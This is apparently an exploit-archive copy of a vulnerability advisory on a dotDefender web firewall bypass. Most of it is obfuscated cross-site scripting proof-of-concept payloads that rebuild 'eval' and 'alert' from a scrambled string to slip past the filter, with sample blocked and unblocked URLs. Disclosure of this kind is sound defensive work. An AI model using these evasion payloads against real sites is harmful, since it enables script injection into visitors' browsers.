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881 B
Text
23 lines
No EOL
881 B
Text
source: https://www.securityfocus.com/bid/41560/info
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dotDefender is prone to a security-bypass vulnerability because it fails to restrict malicious data from reaching protected sites.
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Remote attackers can exploit this issue to bypass security restrictions and to launch cross-site scripting attacks.
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<img src="WTF" onError="{var
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{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
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.source
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)" /> //POST
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<img src="WTF" onError="{var
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{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
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h%2Bn)(
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/0wn3d/.source)" /> //GET
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EXAMPLES:
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Blocked:
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http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:a,0:v,4:n,1:e}=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.source%29%22%20/%3E
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Unblocked:
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http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E |